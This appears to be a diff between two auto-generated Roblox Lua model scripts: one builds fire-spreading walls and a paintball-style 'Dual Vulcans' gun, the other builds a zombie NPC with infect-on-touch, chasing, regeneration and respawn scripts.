						if h.Parent:findFirstChild("zarm")~=nil then return end
1558-
Part83.Position = Vector3.new(165.502441, 19.1899071, 193.060425)
1558+
1559-
Part83.Rotation = Vector3.new(-0.5, -89.9700012, -0.5)
1559+
						cantouch=0
1560-
Part83.Color = Color3.new(0.427451, 0.431373, 0.423529)
1560+
1561-
Part83.Velocity = Vector3.new(-0.00659679342, 0.00151016423, -0.000855490041)
1561+
						local larm=h.Parent:findFirstChild("Left Arm")
1562-
Part83.Size = Vector3.new(26, 9.60000038, 1)
1562+
						local rarm=h.Parent:findFirstChild("Right Arm")
1563-
Part83.Anchored = true
1563+
						
1564-
Part83.BottomSurface = Enum.SurfaceType.Smooth
1564+
						if larm~=nil then
1565-
Part83.BrickColor = BrickColor.new("Dark grey")
1565+
							larm:remove()
1566-
Part83.RotVelocity = Vector3.new(-0.000106919171, -2.58907403e-05, -0.00185190828)
1566+
						end
1567
						if rarm~=nil then
1568-
Part83.brickColor = BrickColor.new("Dark grey")
1568+
							rarm:remove()
1569-
Fire84.Parent = Part83
1569+
						end
1570-
Fire84.Color = Color3.new(1, 0.745098, 0)
1570+
						local zee=script.Parent.Parent:findFirstChild("zarm")
1571-
Fire84.Enabled = false
1571+
						if zee~=nil then
1572-
Fire84.Size = 30
1572+
							local zlarm=zee:clone()
1573-
Fire84.Heat = 25
1573+
							local zrarm=zee:clone()
1574-
Fire84.SecondaryColor = Color3.new(1, 0, 0)
1574+
							if zlarm~=nil then
1575-
Fire84.size = 30
1575+
1576-
Script85.Parent = Fire84
1576+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
1577-
table.insert(cors,sandbox(Script85,function()
1577+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
1578-
function Spread(part)
1578+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
1579-
	check = part:findFirstChild("Fire")
1579+
								zlarm.Parent=h.Parent
1580-
		if check == nil then 
1580+
								zrarm.Parent=h.Parent
1581-
	script.Parent:Clone().Parent = part
1581+
								zlarm:makeJoints()
1582-
	
1582+
								zrarm:makeJoints()
1583-
		elseif check ~= nil then
1583+
								zlarm.Anchored=false
1584-
	check.Size = check.Size + 1
1584+
								zrarm.Anchored=false
1585-
	check.Heat = check.Heat  +1
1585+
								wait(0.1)
1586
								h.Parent.Head.Color=zee.Color
1587
							else print("no zee"); return end
1588
						end
1589
						wait(1)
1590-
script.Parent.Parent.Touched:connect(Spread)
1590+
						cantouch=1
1591
					end
1592
				end
1593
			end
1594-
Part86.Parent = Model0
1594+
1595-
Part86.CFrame = CFrame.new(173.001465, 19.1897831, 205.5, 1.6440855e-06, 5.25038422e-06, -1, 4.52900395e-06, 1, 5.2503915e-06, 1, -4.52901213e-06, 1.64406163e-06)
1595+
1596-
Part86.Orientation = Vector3.new(0, -90, 0)
1596+
1597-
Part86.Position = Vector3.new(173.001465, 19.1897831, 205.5)
1597+
1598-
Part86.Rotation = Vector3.new(0, -90, 0)
1598+
1599-
Part86.Color = Color3.new(0.427451, 0.431373, 0.423529)
1599+
ObjectValue74.Name = "IsNZ"
1600-
Part86.Size = Vector3.new(1, 9.60000038, 14)
1600+
ObjectValue74.Parent = Model62
1601-
Part86.Anchored = true
1601+
IntValue75.Name = "Mode"
1602-
Part86.BottomSurface = Enum.SurfaceType.Smooth
1602+
IntValue75.Parent = Model62
1603-
Part86.BrickColor = BrickColor.new("Dark grey")
1603+
Script76.Parent = Model62
1604-
Part86.TopSurface = Enum.SurfaceType.Smooth
1604+
1605-
Part86.brickColor = BrickColor.new("Dark grey")
1605+
local larm = script.Parent:FindFirstChild("Left Arm")
1606-
Fire87.Parent = Part86
1606+
local rarm = script.Parent:FindFirstChild("Right Arm")
1607-
Fire87.Color = Color3.new(1, 0.72549, 0)
1607+
1608-
Fire87.Enabled = false
1608+
function findNearestTorso(pos)
1609-
Fire87.Size = 30
1609+
	local list = game.Workspace:children()
1610-
Fire87.Heat = 25
1610+
	local torso = nil
1611-
Fire87.SecondaryColor = Color3.new(1, 0, 0)
1611+
	local dist = 1000
1612-
Fire87.size = 30
1612+
	local temp = nil
1613-
Script88.Name = "Spread"
1613+
	local human = nil
1614-
Script88.Parent = Fire87
1614+
	local temp2 = nil
1615-
table.insert(cors,sandbox(Script88,function()
1615+
	for x = 1, #list do
1616-
function Spread(part)
1616+
		temp2 = list[x]
1617-
	check = part:findFirstChild("Fire")
1617+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
1618-
		if check == nil then 
1618+
			temp = temp2:findFirstChild("Right Arm")
1619-
	script.Parent:Clone().Parent = part
1619+
			human = temp2:findFirstChild("Humanoid")
1620-
	
1620+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
1621-
		elseif check ~= nil then
1621+
				if (temp.Position - pos).magnitude < dist then
1622-
	check.Size = check.Size + 1
1622+
					torso = temp
1623-
	check.Heat = check.Heat  +1
1623+
					dist = (temp.Position - pos).magnitude
1624
				end
1625
			end
1626
		end
1627
	end
1628-
script.Parent.Parent.Touched:connect(Spread)
1628+
	return torso
1629
end
1630
1631-
Model89.Name = "Dual Vulcan Cannons Giver"
1631+
1632-
Model89.Parent = Model0
1632+
1633-
Part90.Name = "Smooth Block Model"
1633+
1634-
Part90.Parent = Model89
1634+
1635-
Part90.CFrame = CFrame.new(169.399658, 17.5177383, 184.312256, -0.999997556, 0.000129476728, -1.04847277e-05, 0.000129477135, 1, -4.31583539e-05, 1.0479147e-05, -4.31595981e-05, -0.999997556)
1635+
	wait(math.random(1,5))
1636-
Part90.Orientation = Vector3.new(0, -180, 0.00999999978)
1636+
	local target = findNearestTorso(script.Parent.Torso.Position)
1637-
Part90.Position = Vector3.new(169.399658, 17.5177383, 184.312256)
1637+
	if target ~= nil then
1638-
Part90.Rotation = Vector3.new(180, 0, -179.98999)
1638+
		script.Parent.Humanoid:MoveTo(target.Position, target)
1639-
Part90.Color = Color3.new(0.105882, 0.164706, 0.207843)
1639+
1640-
Part90.Transparency = 0.30000001192093
1640+
1641-
Part90.Size = Vector3.new(4, 6, 1)
1641+
1642-
Part90.Anchored = true
1642+
1643-
Part90.BrickColor = BrickColor.new("Black")
1643+
1644-
Part90.brickColor = BrickColor.new("Black")
1644+
Script77.Name = "Health"
1645-
Fire91.Parent = Part90
1645+
Script77.Parent = Model62
1646-
Fire91.Color = Color3.new(1, 0.745098, 0)
1646+
table.insert(cors,sandbox(Script77,function()
1647-
Fire91.Enabled = false
1647+
function waitForChild(parent, childName)
1648-
Fire91.Size = 30
1648+
	while true do
1649-
Fire91.Heat = 25
1649+
		local child = parent:findFirstChild(childName)
1650-
Fire91.SecondaryColor = Color3.new(1, 0, 0)
1650+
		if child then
1651-
Fire91.size = 30
1651+
1652-
Script92.Parent = Fire91
1652+
1653-
table.insert(cors,sandbox(Script92,function()
1653+
		parent.ChildAdded:wait()
1654-
function Spread(part)
1654+
1655-
	check = part:findFirstChild("Fire")
1655+
1656-
		if check == nil then 
1656+
1657-
	script.Parent:Clone().Parent = part
1657+
-- declarations
1658-
	
1658+
1659-
		elseif check ~= nil then
1659+
local Figure = script.Parent
1660-
	check.Size = check.Size + 1
1660+
local Head = waitForChild(Figure, "Head")
1661-
	check.Heat = check.Heat  +1
1661+
local Humanoid = waitForChild(Figure, "Humanoid")
1662
Humanoid.Health=500
1663
-- regeneration
1664
while true do
1665
	local s = wait(4)
1666-
script.Parent.Parent.Touched:connect(Spread)
1666+
	local health = Humanoid.Health
1667
	if health > 0 and health < Humanoid.MaxHealth then
1668
		health = health + 0.08 * s * Humanoid.MaxHealth
1669
		if health * 1.05 < Humanoid.MaxHealth then
1670-
Part93.Name = "Smooth Block Model"
1670+
			Humanoid.Health = health
1671-
Part93.Parent = Model89
1671+
		else
1672-
Part93.CFrame = CFrame.new(166.899658, 17.5176258, 183.312256, 2.32314012e-09, 0.000152589986, -0.999997258, 3.05180438e-05, 1, 0.000152589986, 0.999997258, -3.05179528e-05, -2.32542519e-09)
1672+
			Humanoid.Health = Humanoid.MaxHealth
1673-
Part93.Orientation = Vector3.new(-0.00999999978, -90, 0)
1673+
1674-
Part93.Position = Vector3.new(166.899658, 17.5176258, 183.312256)
1674+
1675-
Part93.Rotation = Vector3.new(-90, -89.8699951, -90)
1675+
1676-
Part93.Color = Color3.new(0.105882, 0.164706, 0.207843)
1676+
1677-
Part93.Transparency = 0.30000001192093
1677+
1678-
Part93.Size = Vector3.new(3, 6, 1)
1678+
Script78.Name = "Respawn"
1679-
Part93.Anchored = true
1679+
Script78.Parent = Model62
1680-
Part93.BrickColor = BrickColor.new("Black")
1680+
table.insert(cors,sandbox(Script78,function()
1681-
Part93.brickColor = BrickColor.new("Black")
1681+
name="Humanoid"
1682-
Fire94.Parent = Part93
1682+
1683-
Fire94.Color = Color3.new(1, 0.745098, 0)
1683+
robo=script.Parent:clone()
1684-
Fire94.Enabled = false
1684+
1685-
Fire94.Size = 30
1685+
1686-
Fire94.Heat = 25
1686+
	wait(1)
1687-
Fire94.SecondaryColor = Color3.new(1, 0, 0)
1687+
	if script.Parent.Humanoid.Health<1 then
1688-
Fire94.size = 30
1688+
		robot=robo:clone()
1689-
Script95.Parent = Fire94
1689+
		robot.Parent=script.Parent.Parent
1690-
table.insert(cors,sandbox(Script95,function()
1690+
		robot:makeJoints()
1691-
function Spread(part)
1691+
		script.Parent:remove()
1692-
	check = part:findFirstChild("Fire")
1692+
1693-
		if check == nil then 
1693+
1694-
	script.Parent:Clone().Parent = part
1694+
1695-
	
1695+
1696-
		elseif check ~= nil then
1696+
1697-
	check.Size = check.Size + 1
1697+
1698-
	check.Heat = check.Heat  +1
1698+
1699
Part79.Name = "Spawn Location"
1700
Part79.Parent = Model61
1701
Part79.CFrame = CFrame.new(201.113556, 0.603015006, 235.491455, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
1702
Part79.Orientation = Vector3.new(0, 180, 0)
1703-
script.Parent.Parent.Touched:connect(Spread)
1703+
Part79.Position = Vector3.new(201.113556, 0.603015006, 235.491455)
1704
Part79.Rotation = Vector3.new(-180, 0, -180)
1705
Part79.Color = Color3.new(0.631373, 0.768628, 0.54902)
1706
Part79.Size = Vector3.new(6, 1.20000005, 6)
1707-
Part96.Name = "PUT THE WEAPON IN THIS BRICK"
1707+
Part79.BottomSurface = Enum.SurfaceType.Weld
1708-
Part96.Parent = Model89
1708+
Part79.BrickColor = BrickColor.new("Medium green")
1709-
Part96.CFrame = CFrame.new(169.401611, 17.2224159, 185.3125, 0, 0, 1, 0, 1, 0, -1, 0, 0)
1709+
Part79.TopSurface = Enum.SurfaceType.Smooth
1710-
Part96.Orientation = Vector3.new(0, 90, 0)
1710+
Part79.brickColor = BrickColor.new("Medium green")
1711-
Part96.Position = Vector3.new(169.401611, 17.2224159, 185.3125)
1711+
Decal80.Parent = Part79
1712-
Part96.Rotation = Vector3.new(0, 90, 0)
1712+
Decal80.Texture = "http://www.roblox.com/asset/?id=34541722"
1713-
Part96.Size = Vector3.new(1, 1.20000005, 6)
1713+
Decal80.Face = Enum.NormalId.Top
1714-
Part96.Anchored = true
1714+
Model81.Parent = Model0
1715-
Part96.TopSurface = Enum.SurfaceType.Smooth
1715+
Model82.Name = "Zombie"
1716-
Tool97.Name = "Dual Vulcans"
1716+
Model82.Parent = Model81
1717-
Tool97.Parent = Part96
1717+
Model82.PrimaryPart = Part83
1718-
Tool97.Grip = CFrame.new(0, -0.200000003, -0.5, 1, 0, 0, 0, 1, -6.00000021e-05, -0, 6.00000021e-05, 1)
1718+
Part83.Name = "Head"
1719-
Tool97.GripForward = Vector3.new(-0, 6.00000021e-05, -1)
1719+
Part83.Parent = Model82
1720-
Tool97.GripPos = Vector3.new(0, -0.200000003, -0.5)
1720+
Part83.CFrame = CFrame.new(201.608551, 6.09995508, 241.513428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
1721-
Tool97.GripUp = Vector3.new(0, 1, 6.00000021e-05)
1721+
Part83.Orientation = Vector3.new(0, 90, 0)
1722-
Part98.Name = "Handle"
1722+
Part83.Position = Vector3.new(201.608551, 6.09995508, 241.513428)
1723-
Part98.Parent = Tool97
1723+
Part83.Rotation = Vector3.new(0, 90, 0)
1724-
Part98.CFrame = CFrame.new(167.899414, 15.3908224, 183.312271, -0.999999881, -8.89003277e-05, -5.36441803e-07, 4.47034836e-07, 7.15255737e-06, -0.999999881, 8.89897346e-05, -0.999999881, -7.03334808e-06)
1724+
Part83.Color = Color3.new(0.631373, 0.768628, 0.54902)
1725-
Part98.Orientation = Vector3.new(89.9700012, -175.639999, 3.57999992)
1725+
Part83.Size = Vector3.new(2, 1, 1)
1726-
Part98.Position = Vector3.new(167.899414, 15.3908224, 183.312271)
1726+
Part83.BrickColor = BrickColor.new("Medium green")
1727-
Part98.Rotation = Vector3.new(90, 0, 179.98999)
1727+
1728-
Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
1728+
Part83.brickColor = BrickColor.new("Medium green")
1729-
Part98.Velocity = Vector3.new(0.000719598203, -0.0167503767, 0.00054014381)
1729+
Part83.FormFactor = Enum.FormFactor.Symmetric
1730-
Part98.Size = Vector3.new(1, 1, 2)
1730+
Part83.formFactor = Enum.FormFactor.Symmetric
1731-
Part98.BottomSurface = Enum.SurfaceType.Smooth
1731+
SpecialMesh84.Parent = Part83
1732-
Part98.BrickColor = BrickColor.new("Black")
1732+
SpecialMesh84.Scale = Vector3.new(1.25, 1.25, 1.25)
1733-
Part98.RotVelocity = Vector3.new(-0.00224588625, -0.000215496417, 0.00184506946)
1733+
Decal85.Name = "face"
1734-
Part98.TopSurface = Enum.SurfaceType.Smooth
1734+
Decal85.Parent = Part83
1735-
Part98.brickColor = BrickColor.new("Black")
1735+
Part86.Name = "Torso"
1736-
Part98.FormFactor = Enum.FormFactor.Symmetric
1736+
Part86.Parent = Model82
1737-
Part98.formFactor = Enum.FormFactor.Symmetric
1737+
Part86.CFrame = CFrame.new(201.608551, 4.59995508, 241.513428, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
1738-
Sound99.Name = "Fire"
1738+
Part86.Orientation = Vector3.new(0, 90, 0)
1739-
Sound99.Parent = Part98
1739+
Part86.Position = Vector3.new(201.608551, 4.59995508, 241.513428)
1740-
Sound99.SoundId = "http://www.roblox.com/asset/?id=2692806"
1740+
Part86.Rotation = Vector3.new(0, 90, 0)
1741-
Sound99.Volume = 1
1741+
Part86.Color = Color3.new(0.411765, 0.25098, 0.156863)
1742-
Sound100.Name = "Reload"
1742+
Part86.Size = Vector3.new(2, 2, 1)
1743-
Sound100.Parent = Part98
1743+
Part86.BrickColor = BrickColor.new("Reddish brown")
1744-
Sound100.SoundId = "http://www.roblox.com/asset/?id=2692801"
1744+
Part86.LeftParamA = 0
1745-
SpecialMesh101.Parent = Part98
1745+
Part86.LeftParamB = 0
1746-
SpecialMesh101.MeshId = "http://www.roblox.com/asset/?id=2806162"
1746+
Part86.LeftSurface = Enum.SurfaceType.Weld
1747-
SpecialMesh101.MeshType = Enum.MeshType.FileMesh
1747+
Part86.RightParamA = 0
1748-
Weld102.Parent = Part98
1748+
Part86.RightParamB = 0
1749-
Weld102.C1 = CFrame.new(3, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
1749+
Part86.RightSurface = Enum.SurfaceType.Weld
1750-
Weld102.Part0 = Part98
1750+
Part86.brickColor = BrickColor.new("Reddish brown")
1751-
Weld102.Part1 = Part103
1751+
Part86.FormFactor = Enum.FormFactor.Symmetric
1752-
Weld102.part1 = Part103
1752+
Part86.formFactor = Enum.FormFactor.Symmetric
1753-
Part103.Name = "Handle2"
1753+
Part87.Name = "Left Leg"
1754-
Part103.Parent = Tool97
1754+
Part87.Parent = Model82
1755-
Part103.CFrame = CFrame.new(170.899414, 15.3908215, 183.312012, -0.999999881, -8.89003277e-05, -5.36441803e-07, 4.47034836e-07, 7.15255737e-06, -0.999999881, 8.89897346e-05, -0.999999881, -7.03334808e-06)
1755+
Part87.CFrame = CFrame.new(201.608551, 2.59995508, 242.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
1756-
Part103.Orientation = Vector3.new(89.9700012, -175.639999, 3.57999992)
1756+
Part87.Orientation = Vector3.new(0, 90, 0)
1757-
Part103.Position = Vector3.new(170.899414, 15.3908215, 183.312012)
1757+
Part87.Position = Vector3.new(201.608551, 2.59995508, 242.013428)
1758-
Part103.Rotation = Vector3.new(90, 0, 179.98999)
1758+
Part87.Rotation = Vector3.new(0, 90, 0)
1759-
Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
1759+
Part87.Color = Color3.new(0.411765, 0.25098, 0.156863)
1760-
Part103.Velocity = Vector3.new(0.000719655887, -0.0112157511, 0.00118663523)
1760+
Part87.Size = Vector3.new(1, 2, 1)
1761-
Part103.Size = Vector3.new(1, 1, 2)
1761+
Part87.BottomSurface = Enum.SurfaceType.Smooth
1762-
Part103.BottomSurface = Enum.SurfaceType.Smooth
1762+
Part87.BrickColor = BrickColor.new("Reddish brown")
1763-
Part103.BrickColor = BrickColor.new("Black")
1763+
Part87.CanCollide = false
1764-
Part103.RotVelocity = Vector3.new(-0.00224588625, -0.000215496417, 0.00184506946)
1764+
Part87.brickColor = BrickColor.new("Reddish brown")
1765
Part87.FormFactor = Enum.FormFactor.Symmetric
1766-
Part103.brickColor = BrickColor.new("Black")
1766+
Part87.formFactor = Enum.FormFactor.Symmetric
1767
Part88.Name = "Right Leg"
1768
Part88.Parent = Model82
1769-
Sound104.Name = "Fire"
1769+
Part88.CFrame = CFrame.new(201.608551, 2.59995508, 241.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
1770-
Sound104.Parent = Part103
1770+
Part88.Orientation = Vector3.new(0, 90, 0)
1771-
Sound104.SoundId = "http://www.roblox.com/asset/?id=2692806"
1771+
Part88.Position = Vector3.new(201.608551, 2.59995508, 241.013428)
1772-
Sound104.Volume = 1
1772+
Part88.Rotation = Vector3.new(0, 90, 0)
1773-
Sound105.Name = "Reload"
1773+
Part88.Color = Color3.new(0.411765, 0.25098, 0.156863)
1774-
Sound105.Parent = Part103
1774+
Part88.Size = Vector3.new(1, 2, 1)
1775-
Sound105.SoundId = "http://www.roblox.com/asset/?id=2692801"
1775+
Part88.BottomSurface = Enum.SurfaceType.Smooth
1776-
SpecialMesh106.Parent = Part103
1776+
Part88.BrickColor = BrickColor.new("Reddish brown")
1777-
SpecialMesh106.MeshId = "http://www.roblox.com/asset/?id=2806162"
1777+
Part88.CanCollide = false
1778-
SpecialMesh106.MeshType = Enum.MeshType.FileMesh
1778+
Part88.brickColor = BrickColor.new("Reddish brown")
1779-
Script107.Name = "WeldScript"
1779+
Part88.FormFactor = Enum.FormFactor.Symmetric
1780-
Script107.Parent = Tool97
1780+
Part88.formFactor = Enum.FormFactor.Symmetric
1781-
table.insert(cors,sandbox(Script107,function()
1781+
Humanoid89.Parent = Model82
1782-
local w1 = Instance.new("Weld")
1782+
Humanoid89.LeftLeg = Part87
1783
Humanoid89.NameOcclusion = Enum.NameOcclusion.NoOcclusion
1784
Humanoid89.RightLeg = Part88
1785
Humanoid89.Torso = Part86
1786
Part90.Name = "zarm"
1787
Part90.Parent = Model82
1788-
w1.Parent = script.Parent.Handle
1788+
Part90.CFrame = CFrame.new(201.108551, 5.09995508, 243.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
1789
Part90.Orientation = Vector3.new(0, 180, 0)
1790
Part90.Position = Vector3.new(201.108551, 5.09995508, 243.013428)
1791-
w1.Part0 = w1.Parent
1791+
Part90.Rotation = Vector3.new(-180, 0, -180)
1792
Part90.Color = Color3.new(0.631373, 0.768628, 0.54902)
1793
Part90.Size = Vector3.new(2, 1, 1)
1794-
w1.Part1 = script.Parent.Handle2
1794+
Part90.BottomSurface = Enum.SurfaceType.Smooth
1795
Part90.BrickColor = BrickColor.new("Medium green")
1796
Part90.TopSurface = Enum.SurfaceType.Smooth
1797-
w1.C1 = CFrame.new(3, 0, 0)
1797+
Part90.brickColor = BrickColor.new("Medium green")
1798
Part90.FormFactor = Enum.FormFactor.Symmetric
1799-
Script108.Name = "armmove"
1799+
Part90.formFactor = Enum.FormFactor.Symmetric
1800-
Script108.Parent = Tool97
1800+
Script91.Parent = Part90
1801-
table.insert(cors,sandbox(Script108,function()
1801+
table.insert(cors,sandbox(Script91,function()
1802-
--Stickmasterluke
1802+
wait(1)
1803
owner=script.Parent.Parent.Name
1804-
--just put this script under the tool and when weilded the left arm will go up aswell.
1804+
1805-
tool=script.Parent
1805+
function onTouched(part)
1806
	if part.Parent ~= nil then
1807-
	if tool.Parent.Parent.Name=="Workspace" then
1807+
		local h = part.Parent:findFirstChild("Humanoid")
1808-
		local la=tool.Parent:FindFirstChild("Left Arm")
1808+
			if h~=nil then
1809-
		local ra=tool.Parent:FindFirstChild("Left Arm")
1809+
				if cantouch~=0 then
1810-
		local ts=tool.Parent:FindFirstChild("Torso")
1810+
					if h.Parent.Name~=owner then
1811-
		if la~=nil and ts~=nil and ra~=nil then
1811+
						
1812-
			local ls=ts:FindFirstChild("Left Shoulder")
1812+
						if h.Parent:findFirstChild("zarm")~=nil then return end
1813-
			local rs=ts:FindFirstChild("Right Shoulder")
1813+
1814-
			if ls~=nil and rs~=nil then
1814+
						cantouch=0
1815-
				ls.CurrentAngle=rs.CurrentAngle*-1
1815+
1816-
				ls.MaxVelocity=0
1816+
						local larm=h.Parent:findFirstChild("Left Arm")
1817
						local rarm=h.Parent:findFirstChild("Right Arm")
1818
						
1819
						if larm~=nil then
1820-
wait(.02)  --If arm looks glitchy, then make this number smaller. And avoid setting to 0(game will crash).
1820+
							larm:remove()
1821-
end	
1821+
						end
1822
						if rarm~=nil then
1823-
LocalScript109.Name = "Local Gui"
1823+
							rarm:remove()
1824-
LocalScript109.Parent = Tool97
1824+
						end
1825-
table.insert(cors,sandbox(LocalScript109,function()
1825+
						local zee=script.Parent.Parent:findFirstChild("zarm")
1826-
local Tool = script.Parent;
1826+
						if zee~=nil then
1827
							local zlarm=zee:clone()
1828-
enabled = true
1828+
							local zrarm=zee:clone()
1829-
function onButton1Down(mouse)
1829+
							if zlarm~=nil then
1830-
	if not enabled then
1830+
1831-
		return
1831+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
1832
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
1833
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
1834-
	enabled = true
1834+
								zlarm.Parent=h.Parent
1835-
	mouse.Icon = "rbxasset://textures\\GunCursor.png"
1835+
								zrarm.Parent=h.Parent
1836
								zlarm:makeJoints()
1837-
	--wait(.5)
1837+
								zrarm:makeJoints()
1838-
	--mouse.Icon = "rbxasset://textures\\GunCursor.png"
1838+
								zlarm.Anchored=false
1839-
	--enabled = true
1839+
								zrarm.Anchored=false
1840-
	--mouse.Button1Up:connect(function() onButton1Up(mouse) end)
1840+
								wait(0.1)
1841
								h.Parent.Head.Color=zee.Color
1842
							else print("no zee"); return end
1843
						end
1844
						wait(1)
1845-
function onButton1Up(mouse)
1845+
						cantouch=1
1846-
enabled = false
1846+
					end
1847-
Tool.Enabled = false
1847+
				end
1848-
mouse.Icon = "rbxasset://textures\\GunWaitCursor.png"
1848+
1849-
wait(2.2)
1849+
1850-
mouse.Icon = "rbxasset://textures\\GunCursor.png"
1850+
1851-
enabled = true
1851+
1852-
Tool.Enabled = true
1852+
1853
end))
1854
Part92.Name = "zarm"
1855-
function onEquippedLocal(mouse)
1855+
Part92.Parent = Model82
1856
Part92.CFrame = CFrame.new(201.108551, 5.09995508, 240.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
1857-
	if mouse == nil then
1857+
Part92.Orientation = Vector3.new(0, 180, 0)
1858-
		print("Mouse not found")
1858+
Part92.Position = Vector3.new(201.108551, 5.09995508, 240.013428)
1859-
		return 
1859+
Part92.Rotation = Vector3.new(-180, 0, -180)
1860
Part92.Color = Color3.new(0.631373, 0.768628, 0.54902)
1861
Part92.Size = Vector3.new(2, 1, 1)
1862-
	mouse.Icon = "rbxasset://textures\\GunCursor.png"
1862+
Part92.BottomSurface = Enum.SurfaceType.Smooth
1863-
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)	
1863+
Part92.BrickColor = BrickColor.new("Medium green")
1864-
	mouse.Button1Up:connect(function() onButton1Up(mouse)end)
1864+
Part92.TopSurface = Enum.SurfaceType.Smooth
1865
Part92.brickColor = BrickColor.new("Medium green")
1866
Part92.FormFactor = Enum.FormFactor.Symmetric
1867
Part92.formFactor = Enum.FormFactor.Symmetric
1868-
Tool.Equipped:connect(onEquippedLocal)
1868+
Script93.Parent = Part92
1869
table.insert(cors,sandbox(Script93,function()
1870
wait(1)
1871-
Script110.Name = "BrickCleanup"
1871+
owner=script.Parent.Parent.Name
1872-
Script110.Parent = Tool97
1872+
1873-
Script110.Disabled = true
1873+
function onTouched(part)
1874-
Script110.LinkedSource = "http://www.roblox.com/asset/?id=1014539"
1874+
	if part.Parent ~= nil then
1875-
Script111.Name = "PaintballShooter"
1875+
		local h = part.Parent:findFirstChild("Humanoid")
1876-
Script111.Parent = Tool97
1876+
			if h~=nil then
1877
				if cantouch~=0 then
1878-
Tool = script.Parent
1878+
					if h.Parent.Name~=owner then
1879
						
1880-
colors = {226,24,}
1880+
						if h.Parent:findFirstChild("zarm")~=nil then return end
1881
1882-
function fire(v)
1882+
						cantouch=0
1883
1884-
	Tool.Handle.Fire:play()
1884+
						local larm=h.Parent:findFirstChild("Left Arm")
1885-
	
1885+
						local rarm=h.Parent:findFirstChild("Right Arm")
1886
						
1887-
	local vCharacter = Tool.Parent
1887+
						if larm~=nil then
1888-
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
1888+
							larm:remove()
1889
						end
1890-
	local missile = Instance.new("Part")
1890+
						if rarm~=nil then
1891
							rarm:remove()
1892-
        
1892+
						end
1893
						local zee=script.Parent.Parent:findFirstChild("zarm")
1894-
	local spawnPos = vCharacter.PrimaryPart.Position
1894+
						if zee~=nil then
1895-
	
1895+
							local zlarm=zee:clone()
1896
							local zrarm=zee:clone()
1897
							if zlarm~=nil then
1898-
	spawnPos  = spawnPos + (v * 8)
1898+
1899
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
1900-
	missile.Position = spawnPos
1900+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
1901-
	missile.Size = Vector3.new(1,1,1)
1901+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
1902-
	missile.Velocity = v * 1000
1902+
								zlarm.Parent=h.Parent
1903-
	missile.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
1903+
								zrarm.Parent=h.Parent
1904-
	missile.Shape = 1
1904+
								zlarm:makeJoints()
1905-
	missile.BottomSurface = 0
1905+
								zrarm:makeJoints()
1906-
	missile.TopSurface = 0
1906+
								zlarm.Anchored=false
1907-
	missile.Name = "Paintball"
1907+
								zrarm.Anchored=false
1908-
	missile.Elasticity = 0
1908+
								wait(0.1)
1909-
	missile.Reflectance = 0
1909+
								h.Parent.Head.Color=zee.Color
1910-
	missile.Friction = 1
1910+
							else print("no zee"); return end
1911
						end
1912-
	local force = Instance.new("BodyForce")
1912+
						wait(1)
1913-
	force.force = Vector3.new(0,220,0)
1913+
						cantouch=1
1914-
	force.Parent = missile
1914+
					end
1915-
	
1915+
				end
1916-
	Tool.BrickCleanup:clone().Parent = missile
1916+
1917
	end
1918-
	local new_script = script.Parent.Paintball:clone()
1918+
1919-
	new_script.Disabled = false
1919+
1920-
	new_script.Parent = missile
1920+
1921
end))
1922-
	local creator_tag = Instance.new("ObjectValue")
1922+
ObjectValue94.Name = "IsNZ"
1923-
	creator_tag.Value = vPlayer
1923+
ObjectValue94.Parent = Model82
1924-
	creator_tag.Name = "creator"
1924+
IntValue95.Name = "Mode"
1925-
	creator_tag.Parent = missile
1925+
IntValue95.Parent = Model82
1926-
	
1926+
Script96.Parent = Model82
1927
table.insert(cors,sandbox(Script96,function()
1928
local larm = script.Parent:FindFirstChild("Left Arm")
1929-
	missile.Parent = game.Workspace
1929+
local rarm = script.Parent:FindFirstChild("Right Arm")
1930-
	--wait(0.05)
1930+
1931-
	--fire(
1931+
function findNearestTorso(pos)
1932-
	
1932+
	local list = game.Workspace:children()
1933
	local torso = nil
1934
	local dist = 1000
1935
	local temp = nil
1936
	local human = nil
1937-
function check(en)
1937+
	local temp2 = nil
1938-
---------------------------------------Function start here.
1938+
	for x = 1, #list do
1939-
if (Tool.Enabled == false) then
1939+
		temp2 = list[x]
1940-
return false
1940+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
1941-
end--end for if!
1941+
			temp = temp2:findFirstChild("Right Arm")
1942-
-------------------------------
1942+
			human = temp2:findFirstChild("Humanoid")
1943-
if (Tool.Enabled == true) then
1943+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
1944-
return true
1944+
				if (temp.Position - pos).magnitude < dist then
1945
					torso = temp
1946-
---------------------------------------Function end here.
1946+
					dist = (temp.Position - pos).magnitude
1947
				end
1948
			end
1949
		end
1950-
Tool.Enabled = true
1950+
1951-
function onActivated()
1951+
	return torso
1952
end
1953-
	if not Tool.Enabled then
1953+
